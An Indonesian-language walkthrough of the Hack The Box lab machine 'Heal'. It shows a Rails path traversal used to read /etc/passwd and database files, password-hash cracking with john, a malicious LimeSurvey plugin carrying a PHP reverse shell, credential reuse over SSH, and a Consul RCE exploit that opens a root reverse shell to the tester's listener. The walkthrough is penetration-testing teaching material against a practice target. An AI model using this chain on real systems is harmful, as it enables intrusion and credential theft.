Heal is an Medium difficulty machine
┌──(glmx㉿kali)-[~]
└─$ nmap -sC -sV 10.10.11.46 -T4 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 20:46 WIB
Nmap scan report for 10.10.11.46
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tampilan dari url heal.htb yang berjalan pada port 80. Disini harus membuat akun terlebih dahulu untuk dapat masuk ke bagian "Resume Builder".
Dengan menggunakan ffuf, ditemukan subdomain "api" yang berjalan Ruby on Rails (RoR)
Kunjungi api.heal.htb
┌──(glmx㉿kali)-[~]
└─$ gobuster dir -u http://api.heal.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api.heal.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 401) [Size: 26]
/profile (Status: 401) [Size: 26]
/resume (Status: 401) [Size: 26]
/robots.txt (Status: 200) [Size: 99]
Progress: 4614 / 4615 (99.98%)
Pada halaman resume builder, jika di export as pdf, akan terlihat file pdf yang otomatis di download ke browser. Dan dipastikan juga bahwa subdomain api, sudah benar.
Sekarang menuju ke tab "Survey" pada tampilan "Resume Builder". Jika klik "Take The Survey", aka diarahkan ke subdomain baru yaitu "take-survey"
┌──(glmx㉿kali)-[~]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://take-survey.heal.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://take-survey.heal.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/docs/]
/themes (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/themes/]
/modules (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/modules/]
/admin (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/assets (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/assets/]
/upload (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/upload/]
/plugins (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
Tampilannya menunjukkan bahwa nama user adalah ralph@heal.htb
Saat mengunjungi "http://take-survey.heal.htb/admin/", akan diarahkan ke halaman login "http://take-survey.heal.htb/index.php/admin/authentication/sa/login"
Sekarang saya telah mendapatkan 2 subdomain dari heal.htb.
Setelah mencari informasi mengenai Ruby on Rails, saya menemukan sumber (https://www.acunetix.com/vulnerabilities/web/ruby-on-rails-directory-traversal-vulnerability/) yang menyatakan bahwa RoR (Saya singkat saja "Ruby on Rails) memiliki kerentanan terhadap directory traversal yang di tandai pada CVE-2014-0130 dengan severity HIGH.
so, lets fireup burp dan mengarah pada bagian export resume as pdf.
disini kecurigaan saya terjawab dengan mengubah file resume yang didownload menjadi payload yang mengarah ke etc/passwd
Disini ditemukan 2 username pada sistem yaitu ralph dan ron
Mencari tahu cara konfigurasi:
Menemukan sumber untuk cara konfigurasi database RoR, berada pada bagian direktori "config" dan tepatnya di config/database.yml
Pada sumber sebelumnya, ini juga dikonfirmasi pada saat saya dapatkan tentang informasi direktori "config" dan bentuk dari isi file "database.yml".
payload yang digunakan: ../../config/database.yml
database file:
development:
<<: *default
database: storage/development.sqlite3
sekali lagi, arahkan ke "storage/development.sqlite3"
ditemukan informasi user ralph: ralph@heal.htb$2a$12$dUZ/O7KJT3.zE4TOK8***.Bz45DS***
┌──(glmx㉿kali)-[~]
└─$ john hash
..
1***9 (?)
..
Session completed.
Menggunakan john untuk cracking hash milik ralph dan berhasil mendapatkan password ralph.
Kemudian menggunakan kredensial ralph dan katasandi yang didapatkan untuk login ke halaman login Administration.
Kemudian, konfigurasi 2 file yaitu config.xml dan file php untuk reverse shell. Setelah itu buat menjadi file zip (gambar kiri) kemudian upload dan install.
Aktifkan listener pada port 9001 menggunakan netcat dan visit url "take-survey.heal.htb/upload/plugins/s3cmaX/rev-shell.php"
Setelah itu, berhasil mendapatkan shell
menuju ke file konfigurasi maka didapatkan kredensial untuk akses database.
$ cat /var/www/limesurvey/application/config/config.php
..
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=Adm***_p***;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'Adm***_p***',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
)
...
Sekarang gunakan password ini untuk akses ke ssh. Sebelumnya telah menemukan 2 user yaitu ralph dan ron.
Gunakan netexec untuk mencocokkan kata sandi tersebut siapakah yang menggunakannya?
Maka, ditemukan bahwa user ron yang menggunakannya.
Akses ke ssh dengan user ron: ssh ron@heal.htb -> berhasil masuk dan dapatkan user flag.
$ ss -tuln | grep LISTEN | grep "0.0.0.0"
tcp LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
127.0.0.1:8500, 8503, 8300, 8301, 8302, 8600: Port ini tampaknya terkait dengan layanan lokal tertentu (mungkin monitoring, consul, atau aplikasi lain).
┌──(glmx㉿kali)-[~]
└─$ ssh ron@heal.htb -L 8500:127.0.0.1:8500
Setelah mencoba port forwarding, port 8500 memiliki akses ke consul.
┌──(glmx㉿kali)-[~/htb/heal]
└─$ searchsploit Hashicorp consul 1
------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------ ---------------------------------
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Services API (Met | linux/remote/46074.rb
Hashicorp Consul - Remote Command Execution via Services API (Met | linux/remote/46074.rb
Hashicorp Consul v1.0 - Remote Command Execution (RCE) | multiple/remote/51117.txt
------------------------------------------------------------------ ---------------------------------
┌──(glmx㉿kali)-[~/htb/heal]
└─$ searchsploit -m 51117.txt
Exploit: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
URL: https://www.exploit-db.com/exploits/51117
Path: /usr/share/exploitdb/exploits/multiple/remote/51117.txt
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/glmx/htb/heal/51117.txt
Mencari exploit dan menemukan file teks kemudian di ekstrak dan diubah format menjadi format python.
┌──(glmx㉿kali)-[~/htb/heal]
└─$ python3 51117.py 127.0.0.1 8500 10.10.16.69 9001 1
[+] Request sent successfully, check your listener
┌──(glmx㉿kali)-[~/htb/heal]
└─$ nc -lvnp 9001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.46:51520.
bash: cannot set terminal process group (187180): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# cat root/root.txt
cat root/root.txt
<root_flag>
root@heal:/#
Setelah di jalankan dan mengaktifkan listener pada port 9001, berhasil masuk sebagai root dan berhasil mendapatkan Root Flag 😁